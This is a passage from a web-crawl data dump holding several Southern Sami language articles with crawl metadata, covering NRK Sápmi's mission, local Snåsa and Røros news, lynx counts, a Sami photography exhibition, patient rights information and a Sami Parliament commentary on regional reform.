programmijste\".\n«NRK Sami Radio edtja akte ohtjekringkastinge saemide årrodh (aarebi programmeredaktööre NRKsne Reidar Hirsti, NRL Sápmin bïjre NRKen mieriesoejkesjisnie 1983).»\nNRK Sápmin ulmie\nJïjtse ulmien bïjre NRK daam jeahta: \"NRK Sápmi edtja sov programmebarkoen tjïrrh viehkiehtidh guktie gaajhkh saemieh maehtieh jïh sijhtieh saemine årrodh, jïh laanten jeatjah årrojh lissiehtamme daajroem saemiej bïjre jïh dan saemien kultuvren jïh siebriedahken bïjre åadtjoeh.\"\nNRK Sápmin strategijesne aaj tjåådtje: NRK Sápmi edtja akte stuvrije produsente jïh bæjhkoehtæjja årrodh saemiengïelen sisvegistie, dejtie saemien histovrijidie soptsestidh, lïjmine årrodh saemien siebriedahkesne, jïh akte saemien sijjie årrodh saernide, kultuvrese, sjollehtæmman jïh sisvegasse maanide jïh noeride.\nAalkoealmetjelaavenjostoe\n2003 raejeste NRK Sápmi lea eadtjohkelaakan barkeme juktie laavenjostoem aalkoealmetjekringkasteri gaskem evtiedidh, juktie veahkam aalkoealmetjesaernijste jïh programmijste lissiehtidh, dovne jïjtse saadteginie jïh NRKen jeatjah programmefaalenassesne.\nJaepien 2008 akte veartenevijries viermie aalkoealmetjekringkasterijstie tseegkesovvi. Dan viermien nomme lea World Indigenous Television Broadcasters Network (WITBN), jïh viermesne 14 lïhtsegh daelie, NRK Sápmine (2013).\n2012 raejeste 2014 raajan NRK Sápmin åvtehke, Nils Johan Heatta, lea viermien åvtehke. Viermien tjaelemesijjie lea aaj Taipeieste Taiwanesne jåhteme NRK Sápmin åejviekontovrese Karasjohkesne (Nöörje) daan boelhken. Viermie edtja laavenjostoem programmesjugniedimmien, programmeevtiedimmien jïh programmelåtnomen bïjre evtiedidh. Jaepien 2012 akte teknologeles vuekie tseegkesovvi juktie biejjieladtje programmh juekedh dej 14 lïhtsegi gaskem WITBNsne.\nProgrammh jïh jeatjah sisvegefaalenassh\nDah byögkeles gïelh NRKsne leah nöörjen jïh saemien. Dah jeanatjommesh NRK Sápmin raadijove- jïh TV-saadtegijstie leah noerhtesaemien gïelesne, men aaj ihkuve saadtegh julev- jïh åarjelsaemien gïelesne. NRK Sápmin ahkedh saerniefaalenasse gaskeviermesne lea dovne nöörjen gïelesne jïh saemien smaaregïeline (mah såemiesmearan aaj dan joekehts guktie dah sjïere gïeline ryöknesuvvieh).\nSaernieh\nNRK Sápmi syjhtedassine åtna saemiengïelen almetjh prinsihpen mietie byöroeh gaajhkh doh vihkielommes saernieh saemiengïelesne åadtjodh. NRK Sápmin saerniedïenesje edtja vihkeles saernieh åehpiedehtedh. Saerniefaalenasse edtja lissine sjïere heannadimmieh akten stuerebe ektiedæmman bïejedh, jïh analyseradidh mah konsekvensh ovmessie politihkeles nænnoestimmieh utnieh dan akten almetjen aarkebeajjan.\nVijriesåbpoe dle NRK Sápmin saernieh edtjieh aaj vïedteldihkie årrodh saemien aarkebeajjan jïh rïektes heannadimmide, men edtja aaj seamma tïjjen vuesiehtidh mijjieh akte sjïehtesjamme bielie aktede noerhtelaanti jïh abpeveartenen saernieguvveste. Daan sjïekenisnie NRK Sápmi joekoen leavloem beaja saernieh åehpiedehtedh jeatjah aalkoealmetjijstie, jïh aalkoealmetji bïjre veartenisnie. NRK Sápmi saernieh bæjhkohte fïerhten biejjien raadijovisnie jïh gaskeviermesne. Maajhvååjnesisnie jïh Teekste-TVsne NRK Sápmi saernieh bæjhkohte gaajhki aarkebiejjiej.\nJeatjah sisvege\nNRK Sápmin sisvegefaalenasse edtja bievnedh, evtiedidh, haestedh jïh sjollehtidh goltelæjjide jïh vuartasjæjjide. Sisvegefaalenasse edtja tsåatskelesvoetem feengkedh dan gellijste goltelæjjijste, vuartasjæjjijste jïh utniejijstie goh gåarede abpe laanteste. Programmefaalenasse edtja jeereldihkie årrodh, jïh dam saemien siebriedahkem vuesiehtidh. Vihkeles faalenasse dovne unnebe jïh stuerebe ulmiedåehkieh jaksa. Lissine saernie- jïh aktualiteeteboelhkh, NRK Sápmi gaskem jeatjah dorje: Kultuvreprogrammh, hoksehtimmie- jïh sjollehtimmieprogrammh, dokumentaare- jïh digkiedimmieprogrammh jïh maana- jïh noereprogrammh, mah bæjhkoehtamme sjidtieh dovne raadijovisnie, TVsne jïh gaskeviermesne.\nProgrammefaalenasse maajhvååjnesisnie lea njieljie maanaprogrammh fïerhten våhkoen jïh 10-15 dokumentaare- jïh kultuvreprogrammh fïerhten jaepien. Goh saerniedïenesjisnie, dle vihkeles NRK Sápmin programmefaalenasse beavna jïh evtede saemiej ektievoetem jïh ektiedomtesem dovne jeatjah aalkoealmetjidie jïh jeatjah almetjigujmie abpe veartenisnie.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/om\/1._nrk-sapmin-bijre-1.11309602","date":"2018-02-24T09:03:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815500.61\/warc\/CC-MAIN-20180224073111-20180224093111-00485.warc.gz","language":"sma","language_score":0.999984622,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999984622001648}","num_words":662,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dovne tjïelten åejvie jïh tjïelten mubpieåejvie leah pruvrehtimmiefaamoem åådtjeme ryöktesth ektievoetelaakesne. Men tjïelteståvroe meehti lissine dejtie golmide daam laavenjassem vedtedh aaj jeatjah tjïelten barkijidie jallh almetjeveeljeme almetjidie.\nMøyfrid Skavlan (Gk) sïjhti aktem pruvrehtæjjam veeljedh mij ij leah politihkeles eadtjohke.\n– Naakenidie maahta vihkeles årrodh mejtie pruvrehtæjja aktem politihkeles sijjiem åtna, Skavlan vïenhti mij lij ånnetji onterdamme gie dïhte meehti årrodh.Dïhte raeriesti tjïelteåvtehke healsoe, sujhteme jïh hokse goh akte gåalmede pruvrehtæjja.\n– Åssjaldahke daejnie raeriestimmine lea jïjnje hijven healsoe jïh hokse aktene ektievoetesne gååvnesieh, Skavlan jeehti. Ij guhte jeatjebh baakoem veelti jïh raeriestimmie nænnoestamme sjïdti 12 steemmajgujmie uktsie vööste.\nIerielimmie\n– Åå jemmede bielien. Jaavoe, daate lij stoerre ierielimmie, tjïelteåvtehke Ester Brønstad jeahta gosse Snåsningen ringki jïh satnem læhkoehti dejnie sov orre laavenjassine tjïelteståvroen mænngan. Ij lij raaktan dïsse ryöjredamme.\n– Ijje, manne meatan fulkeme jïh aamhtesen bïjre lohkeme, men im måjhtajamme daate meehti sjyöhtehke årrodh, Brønstad jeahta.\n– Datne disse aavodh?\n– Tuhtjem gïerve vaestiedidh, manne fer bååhperisnie. Tjoerem vielie aamhtesen bïjre goerehtidh.\n– Ih leah dam aarebi dorjeme?\n– Ijje maa. Jïh ij sån dan gellie gyhtjelassh sjïdth, vïenhtem.\n– Akte sijjie Snåasene gusnie datne vïenhth tjaebpies pruvredh?\n– Ijje, tjaebpies hov lea Snåasesne, guktie sån gellie sijjieh. Dah mah edtjieh pruvredh sån jïjtjh daejrieh.\nSijjieh\nTjïelteståvroe aaj nænnoesti almetjh maehtieh pruvredh tjïelteståvroesavkesne Gilstadgået- esne, Vonheimesne jallh aktene jeatjah sjiehteles sijjesne dastegh pruvrehtæjja jïh provresalmetjh leah sïemes dan bïjre.\nPruvredh lea namhtah tjïelten jïjtse årroejidie dastegh provresalmetjh eah naan sjïere sjaavnjoeh utnieh provrese. Goh provre- salmetjh tjuerieh aaj buektiehtidh jaavoe jiehtedh eannan aktem tæjmoem, åvtelen tjïelten taksameetere aalka juhtedh.","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.snasningen.no\/sorsamisk\/2017\/10\/06\/Sn%C3%A5asen-orre-pruvreht%C3%A6jjah-15413835.ece","date":"2018-02-23T06:28:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814493.90\/warc\/CC-MAIN-20180223055326-20180223075326-00257.warc.gz","language":"sma","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999910593032837}","num_words":249,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah skuvlemaanah eadtjalgovvin jih guvvieh måaladidh. Ij leah fïerhten biejjien, akte åehpies tjiehpiedæjja Kruanalaanteste, mij skuvlesne bïhkede.\nAalkoalmetjen tjiehpiedæjja.\nBuuti Pedersen lea akte dejstie Kruanalaanten åehpies tjiehpiedæjja. Dihte lea Kruanalaanten guvvietjeahpoem jih kultuvrem øøvtiedamme. Dihte Kruanalaanten kåanste åehpies abpe veartanisnie sjidteme. Buuti lea barkeme ov-messie prosjeekti gujmie gellie laantine gusnie Kruanalaanten kultuvrem vuesiehtamme jih aaj jeatja tjiehpiedæjjah ektesne barkeme.\nSkuvlemaanide bïhkedidh.\nÅarjelsaemiej skuvlesne, Snåasesne guvvieh måalademinie. Jon Anta Eira Åhren akte dejstie learohkijste mij jijnjem urreste liereme.\n–Liereme daejtie golme maadth-klaeride nuhtjedh. Viskes, plaave jih røøpses. Daate luste!Vuajna, dagkoe tjahke jih dusnie balvh måaladamme, Åhrene jeahta.\nBuuti Pedersen bïhkede, guktie dihte daejtie klaeride nuhtjie.\n– Vihkeles maam akt måaladieh. Klaeride nuhtjedh. Dastegh! Dellie guvvie jæjhta, Pedersene jeahta.\nBuuti Pedersen sov guvvieh vuesiehtimmiem Saemien Sijtesne daan tjaktjen vuesiehtamme mij nomme \"Noerhtesne mov eatneme\".","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/skuvle-maanah-guvvieh-maaladamme-1.12026323","date":"2018-04-24T04:00:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00123.warc.gz","language":"sma","language_score":0.9998941422,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998941421508789}","num_words":131,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah myndigheth Nøørjesne jeahteme åadtjoeh 39 gierhkiedåehkie Nøørjesne jieledh. Dan mearan tjïjhtje gierhkiedåehkie Noerhte-Trøøndelaagesne vihtesjamme. Golme gierhkiedåehkie Snåasesne, gøøkte Meråkeresne, akte Lijresne jih akte Verdaelesne. Daam dihte plaerie Trønder avisa tjaala.\n– Ibie ennje daejtie vijhtiestamme, vïenhtebe dah lea joekehts dåehkieh, dihte dotkije Øysten Flagstad, Rovdaatesne jeahta.\nGierhkie maahta nieljie tjovkh åadtjodh\nJienehke daejstie gierhkien mænngelijstie gøøkte tjovkh åadtjoeh, maehtieh badth muvhtene aejkien nielje tjovkh åadtjodh.\n– Dah tjovkh daam mænngelem golken asken laehpieh jih jïjtsh dajvem ohtsedieh. Daan tijjien jaepesne, gosse mænngelem laahpeme, geerve sjædta dejtie bearkadidh, Flagstad bievnede.\nRaeffies tijjie gierhkide\nGierhkien aale Nøørjesne joekehth jaepeste jaapan orreme. Åvtesne dellie sagke jienebh gierhkieh Nøørjesne jeelin goh daelie. Dihte gierhkien aale ånneni gosse dihte vuedtjeme maaksoe aalkoen 1800-taalesne sjidti.\nDah gierhkieh åadtjoejin Åarjel-Nøørjesne raeffesne jaepeste 1973 jieledh jih Noerhte Nøørjsene jaepeste 1982. Daan mænngan dihte kreeke aalenamme.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/tjijhtje-gierhkiedaehkie-noerhte-troondelaagesne-1.12486321","date":"2018-04-19T14:41:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00590.warc.gz","language":"sma","language_score":0.9999544621,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999544620513916}","num_words":135,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien vætnoem vihteste fotoguvviej tjïrrh\nJarkoestimmie: Ellen Bull Jonassen\nNaina Helén W. Jåma (27) lij daan gïjren sov mubpine jaepine galhkeme sov ööhpehtimmeste fotojournalistihkesne, Nordens fotoskuvlesne. Ööhpehtimmie maam Jåma vaalta golme jaepieh vaasa jïh skuvle lea sijjesne Bålsta, ij dan guhkede Stuehkeste.\nGoh eksamenelaavenjasse veelji guvvieh vytnesjæjjijste vaeltedh, mij illedahkine sjïdti gaskem jeatjah akte ektievuasahtalleme klaassine ektine dennie åehpies gallerijesne Galleri Kontrast Stuehkesne.\nDaelie Jåma sov prosjektem vuesehte Saemien Sijtesne, Snåasesne.\nFotografije akte vihkeles åehpiedehtemevuekie\nDïhte noere fotograafe lea jïjnjem ussjedamme giejstie satne sïjhti guvvieh vaeltedh, gie soptsestæjjagïele soptsesisnie maam sæjhta soptsestidh. Dïhte veanhta akte væjkele fotograafe maahta vuartasjæjjese aktem nuepiem vedtedh guvviem toelhkestidh guktie dïhte aktem goerkesem jïh domtesem vadta dehtie almetjistie jallh dehtie aateste mestie satne guvvieh vaalta, jïh sutnjien lea vihkeles dejtie saemien soptsesidie soptsestidh.\n–Juktie manne leam åehpiedehtieminie naa guhkiem gïehtelamme jïh ij ajve fotoguvviej tjïrrh, dle sïjhtim dam saemien kultuvrem eevtjedh, jïh vuesiehtidh man vihkeles dïhte lea. Dan åvteste manne leam vætnojne jïjtje gïehtelamme, dellie damtim daate lij akte teema misse ïedtjem utnim, jïh man bïjre daajroem utnim gellene njieptjesne, jïh dan åvteste meehtim guvvieh vaeltedh dejstie mah vætnojne gïehtelieh, Jåma soptseste.\nMaahta stoerre prosjektine sjïdtedh\nNaina Helén göökte askh utni mejtie meehti prosjektesne nuhtjedh, jïh sïjhti aalkoelisnie gaajhkesidie åarjelsaemien dajvesne gaavnesjidh. Jïh jïjtse vuajnoen mietie daate lij ånnetji fer stoerre prosjekte. Prosjekteboelhken ryöhki guvvieh vaeltedh 15 almetjijstie. Daan giesien såemies orre guvvieh vaalteme jïh dïhte naa seekere satne sæjhta prosjektine jåerhkedh guhkiem.\nDïhte lea prosjekten tjïrrh almetjh gaavnedamme mejtie gutnie dan åvteste dah leah vihkeles aerpievuekien guedtiejinie saemien kultuvreste. Jåma sïjhti vuesiehtidh jienebh dimensjovnh saemien kultuvresne gååvnesieh, sïjhti vuesiehtidh doh aerpievuekieh, altese mïelen mietie, eah leah naan vuastalimmie daaletje tïjjese.\n–Manne sån sïjhtem mov prosjektine jåerhkedh jïh gegkestem daate minngemosth gærjine sjædta. Daelie jienebh almetjh vijreminie mejstie maahtam guvvieh vaeltedh jïh mejtie maahtam gihtjehtidh, guktie jis naakenh naan tips munnjien utnieh, tjuerieh ajve gaskesadtedh. Aalkoelisnie lim ussjedamme åarjelsaemien dajvesne barkedh men daelie sïjhtem almetjh abpe Saepmesne gaavnedh giejstie maahtam guvvieh vaeltedh, Jåma soptseste mij veelji ööhpehtimmiem vaeltedh goh fotograafe dan åvteste veanhta guvvieh akte veaksehke meedija jïh guvviejgujmie maahta gellie almetjh jaksedh.\nMïetsken 31. b. raajan maahta Naina Helén W. Jåman (27) guvvieh vuejnedh Saemien Sijtesne Snåasesne.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/samimag.no\/sma\/content\/saemien-vaetnoem-vihteste-fotoguvviej-tjirrh","date":"2018-08-18T01:19:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213247.0\/warc\/CC-MAIN-20180818001437-20180818021437-00210.warc.gz","language":"sma","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999955892562866}","num_words":359,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sæjhta saemien sijjennommh\nGuevtelie Saemieh NSRen åejvie Thomas Ole Andersen aktene brieviem Plassjen tjieltese tjaaleme gosseh daelie Plassje meatan saemiengielen reeremedajvese dellie tjoevere Plassje saemien sijjen nomme skilhtesdidh saemien gielese. Jih daan gaavhtan Guevtelie saemieh, tjieltem eevtjieh aktene sijjennomme doehkiem tsegkedh mij ulmie leah nommem saemiengielesne buektedh tjieltese. Jih Guevteli Saemieh Unni Fjellheim nommedaehteme dam doehkese dej åvteste tjahkasjidh.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.nrk.no\/sapmi\/o__asat---aarjelsaemien-1.13572943","date":"2018-11-16T04:35:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742970.12\/warc\/CC-MAIN-20181116025123-20181116051123-00369.warc.gz","language":"sma","language_score":0.9999731779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999731779098511}","num_words":59,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Seamma gie leah jïh mij våaromem åtnah hoksebarkijh edtjieh dutnjien bïevnesh vedtedh maam daarpesjh. Dïhte sæjhta jiehtedh vuesiehtimmien gaavhtan maahtah toelhkem daarpesjidh jallh tjaaleldh bïevnesh, jis galkh guarkedh guktie goerehtimmiem tjïrrehtieh.\nBïevnesh edtjieh dov tsiehkine sjïehtesjamme jïh dov krïbpesjimmine. Vihkeles jis edtjh guarkedh jïh bieliem årrodh dov hoksesne. Jïjtje veeljh man aktijve sïjhth årrodh, mohte eejnegen nuepiem åtnah jiehtedh maam sïjhth.\nGåessie damth dah alternatijvh jïh nuepieh guarkah maahtah dïsse såemies vuekine jååhkesjidh. Maahtah aaj veeljedh nyöjhkedh hoksese mah dutnjien faalesåvva. Jïlhts leah hoksese jååhkesjamme maahtah jeatjahtehtedh.\nMaanah edtjieh aaj nuepiem utnedh jiehtedh maam mielieh. Jis onne maana dellie åeliejgujmie, men jis båarasåbpoe dellie vihkeles dïhte åådtje sov hoksesne meatan årrodh. Jis edtja hoksesne meatan årrodh jïh moenedh vihkeles maana aaj bïevnesidie guarkoe.\nMan bïjre dah bïevnesh?\nEdtjh bïevnesh dan bïjre åadtjodh\n- dov healsoetsiehkie\n- mah vuekieh gååvnesieh goerehtæmman, hoksese jïh båehtjierdæmman\n- mah viehkievierhtieh gååvnesieh\n- gåessie hoksem åadtjoeh\n- mestie båehtjierdimmeste jïh hokseste båata\n- mah komplikasjovnh maehtieh gååvnesidh\n- guktie hokse dan mænngan sjædta, jis dam daarpesjh\n- mah vuekieh gååvnesieh åvtelhbodti skïemtjelassem jallh skaaram heerredidh\n- nuepieh Försäkringskassesne åådtje jienebh daejredh hoksem ohtsedidh EES-laantine jallh Schweizesne.\nMuvhten aejkien dov lïhkemes daarpesjieh bïevnesh åadtjodh dov hoksen bïjre. Sekretessen gaavhtan maehtieh dov lïhkemes barre bïevnesh åadtjodh jis datne meatan jallh dam luhpiedamme.\nAkute tsiehkine, vuesiehtimmien gaavhtan jis ih vuerkesne, læjhkan hoksem åadtjoeh jis dov jielemem vaahresne.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.1177.se\/Vastra-Gotaland\/Nationella-minoritetssprak\/Nationella-minoritetssprak\/Sydsamiska\/Regler-och-rattigheter\/Patientlagen\/","date":"2018-11-15T05:11:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742483.3\/warc\/CC-MAIN-20181115033911-20181115055911-00267.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":220,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Serteme laavenjassijste staateles daltesistie lea akte nuepie juktie hoksedh almetjh stuerebe tsevtsemefaamoem åadtjoeh. Daelie daate maahta sjugniehtovvedh jis buektehte akti vyöki barkedh juktie hoksedh regiovne stuerebe dahkoesijjiem åådtje.\nAkte tjïelke tjoeperdimmie gyhtjelassh mah leah fylhkenstruktuvri bïjre leah dan jïjnjem tsåatskelesvoetem åådtjeme guktie gyhtjelassh mah leah sisvegen bïjre regijovnereformesne gaarvanieh seamma tïjjen. Akte hille mij gaatesjen dassene dellie. Saemiedigkie ij leah nuepiem åådtjeme reerenassine rååresjidh dej gyhtjelassi bïjre ektiedamme dejtie raeriestimmide mah leah saemien ïedtji bïjre. Vååjnoe goh fuehpie orreme gosse dam orre raeriestimmiem darjoeji mij bööti rïhkeden 19.b. Bïevn. St. 6 (2018-2019) Oppgaver til nye regioner( Laavenjassh orre regijovnide). Desnie raereste sagke vaenebh laavenjassh jïh vierhtieh staateste sertedh goh Hagen-moenehtse soejkesji. Raeriestimmie hov tjïelkelaakan soptseste maam reerenasse raaktan reformen bïjre veanhta.\nManne baajem jïjtjemem geakasjidh maam sæjhta jiehtedh barkoevedtijedïedtem staatebarkiji åvteste, mah joe leah ålkone regijovnine, akten regijonaale daltesasse sertedh. Mov vuajnoen mietie ij sïjhth dan maereles årrodh. Byögkeles dïenesjh edtjieh åajvahkommes dam seamma sisvegem utnedh saaht gusnie datne sååjhth årroeminie. Bielelen tjïeltine saemien reeremedajvesne, men aaj daesnie lij maahteme jïjnjem loetedh jis sisvegebieliem regijovnereformesne buerebelaakan gïetedamme, jïh akte vielie proaktijve geatskanimmie orreme raeriestimmide salkehtimmeste NBS 2016: 18 Vaajmoegïele. Daennie suerkesne laavenjassh jïh tjïelke bïevnesh dïedten bïjre sijhtieh joekoen vihkeles årrodh evtiedimmien gaavhtan saemien gielijste, saemien kultuvreste jïh siebriedahkejieliedistie. Saemiedigkieraerie våaroeminie åtna joekoen edtja saemien gïelereaktah tjåadtjoehtidh jïh jåarhkedh dejnie orre fylhkine. Saemiedigkieraerie haasta dejtie orre fylhkide byögkeles saemien nommh åadtjodh fylhkide. Seamma tïjjen vihkeles faalenassem dejtie saemiengïeleldh almetjidie tjåadtjoehtidh jïh evtiedidh.\nJoe dellie gosse Hagen-moenehtse sov raeriestimmiejgujmie bööti Saemiedigkie eensi vuarjasjimmieh darjoeji mah laavenjassesertemh mah meehtin saemien ïedtji bïjre årrodh. Jeenjesh dejstie raeriestimmijste sïjhtin eevre buajhkoes ryöktesth konsekvensh utnedh saemien ïedtjide. Edtja råajvarimmieh, öörnegh jïh byögkeles dïenesjh saemide sjïehtedidh seammalaakan goh jeatjah årroejidie.\nJienebh laavenjassh mejtie lea raeriestamme fylhkentjïeltide sertedh leah saemien ïedtji bïjre. Aamhtesh goh konsepteveeljemen salkehtimmieprosessh (KVS), klijma jïh byjrese, noerhtedajvepolitihke, innovasjovne Nöörje jïh Siva, göölemesïelkedahkh jïh jåartaburrie. Lissine akte minngebe stoerredigkiebïevnese lea sjisseradamme kultuvren ih minngebe prosessi bïjre mah leah PPT:n jïh Bufetaten bïjre. Saemiedigkie sæjhta dejtie ovmessie prosesside regijovnereformesne bæjjese fulkedh dej departemeentigujmie mah dïedtem utnieh. Daan mearan gaajh joekehts mejtie prosessh joe juhtieminie jïh mejtie laavenjostoe Saemiedigkine lea tseegkesovveme jallh ij. Dennie guhkiebasse barkosne regijovnereformeste lea eevre daerpies Saemiedigkine laavenjostedh jïh konsultasjovnedïedtem ååktedh guktie daajroe saemien gïeli jïh saemien kultuvren bïjre gorresåvva.\nTïjje doekoe manne mïelem iemie laavenjassesertemem gïehtjedidh aaj staateste Saemiedægkan. Daan biejjien Saemiedigkie reeremelaavenjassh åtna evtiedimmien sisnjelen saemien learoesoejkesjijstie, saemien kultuvremojhtesereeremen jïh saemien sijjienommedïenesjen sisnjeli, jïh saemien museumidie, teateridie jïh festivalide. Saemiedigkie joe departemeentine jïh Rijhkeantikvaarine rååresjeminie mejtie edtja jienebh laavenjassh saemien kultuvremojhtesevaarjelimmien sisnjelen sertedh. Saemiedigkie vielie dïedtem jïh jïjtjenænnoestimmiem sæjhta jielemeevtiedimmien sisnjelen saemien dajvine jïh saemien jielemi åvteste. Iemie Saemiedigkien råållam vuartasjidh båatsoen, göölemeaamhtesi jïh areaalesoejkesjeprosessi sisnjeli. Lissine stoerre nuepieh sjugniedihks jielemi jïh fealadadten sisnjeli. Akte saemien seejemegerniefoente lij aaj maahteme hijven årrodh, juktie dïhte lij maahteme nuepie vedtedh jielemeevtiedimmesne.\nÅajvahkommes Saemiedigkie mij prioriteradimmieh dorje saemien siebriedahke- jïh institusjovneevtiedæmman. Dan åvteste sæjhta nuhteligs årrodh aktine enn lïhkebe laavenjostojne Saemiedigkien, staaten jïh fylhkentjïelti gaskem dej råållesne goh siebriedahke- jïh jielemeevtiedæjjah.\nSilje Karine Muotka, Saemiedigkieraerie\nSaemiedigkie","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/rorosnytt.no\/saemiedigkie-jih-regijovnereforme\/","date":"2018-12-16T07:47:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827596.48\/warc\/CC-MAIN-20181216073608-20181216095608-00270.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":499,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NSR sov barkoem nænnoestahta åarjelsaemien dajvesne\nSåemies våhkoej juassah eajhnadovvin Åarjel-Trööndelage jïh Hedmaarhken saemiej siebriem juekedh, guktie Røros jïh Tråante fïereguhten voenges siebriem åadtjoejin.\nVoenges siebrie Rørosesne, Guevteli saemieh – NSR joe jienebh goh 50 lïhtsegh åtna.\n– Juktie sïjhtin aktem orre saemiesiebriem Tråantesne tseegkedh, dellie lij akte iemie evtiedimmie åarjelsaemien dajvesne staaresaemieh jïh mijjieh stoerrestaare Tråanten ålkolen fïereguhten voenges siebriem åadtjobe. Tuhtjem daate joekoen hijven jïh dïhte orre NSR-goevtese lea Unni Fjellheimen raeriestimmien mietie nommem åådtjeme dehtie vaeriedajveste gusnie Røros lea. Daennie dajvesne hov gellie veeljemelæstoeh, men mijjieh dïhte aajnehke voenges siebrie mij dan eadtjohke, guktie damtebe mijjieh aktem vihkeles funksjovnem utnebe, dïhte orre voenges siebrien åvtehke Thomas Ole Andersen jeahta.\nGuevteli saemieh – NSR:n mubpieåvtehke lea Unni Fjellheim, jïh doh jeatjebh ståvrosne leah Sagka Danielsen, Læjsa Pentha Granefjell jïh Stig Arne Somby.\nStoerre soejkesjh\nDïhte orre voenges siebrie Guevteli saemieh – NSR stoerre soejkesjh åtna.\n– Mijjen håhkoe lea jienebh darjomh maanide jïh noeride buektiehtidh, ståvroen åvtehke Andersen tjïelkeste jïh jeahta gïele jïh reaktagyhtjelassh læjhkan doh stoerre aamhtesh sjidtieh mejgujmie tjuerieh barkedh.\nDaelie gosse Røros reeremetjïeltine sjïdteme sijhtieh meatan årrodh prosessesne juktie vuesiehtidh mij lea daerpies dennie orre reeremetjïeltesne Røros.\n– Mijjieh tjoerebe tjïeltese bievnedh guktie mijjieh sijhtebe reeremetjïelte Røros edtja juhtedh. Gïele, sijjienommh, gaajhkh byögkeles dïenesjh edtjieh daelie guektiengïeleldh sjïdtedh jïh tjïelte edtja åarjelsaemien gielese sjïehteladtedh, jïh dellie vihkeles bievnedh guktie mijjieh sijhtebe dam utnedh. Mijjieh gihtjelgamme meatan årrodh prosessesne, guktie dan åvteste tuhtjem mijjieh saemiesiebresne aktem lissie vihkeles misjovnem åadtjobe tïjjen åvtese, Thomas Ole Andersen jeahta.\nÅarjelsaemien reaktah\nSiebrie joe raeriestamme aktem jïjtse saemien sijjienommemoenehtsem tseegkedh Rørosesne juktie soejkesjh jïh åssjalommesh darjodh juktie guektiengïeleldh tsïeglh, jïh reaktoe saemien sijjienommh åadtjodh.\n– Mijjieh raeriestamme såemies almetjh mah mijjen mïelen mietie byöroeh meatan årrodh daennie moenehtsisnie. Mijjieh raeriestimmide seedteme Rørosen tjïeltese goh mijjien voestes politihkeles aamhtese, ståvroen åvtehke tjïelkeste.\nDïhte orre voenges siebrie aaj veanhta joekoen vihkeles vielie fokusem bïejedh dejtie saemien reaktahaestiemidie mejtie åarjelsaemien dajvine åtna.\n– Aadtjen hov aktem jïllemesreakta-aamhtesem åtneme. Mijjieh stoerre lastoem utnebe aktem onne politihkeles vierhkiesijjiem darjodh mij vuartesje guktie mijjieh maehtebe guhkiebasse barkedh dej saemien reaktaj 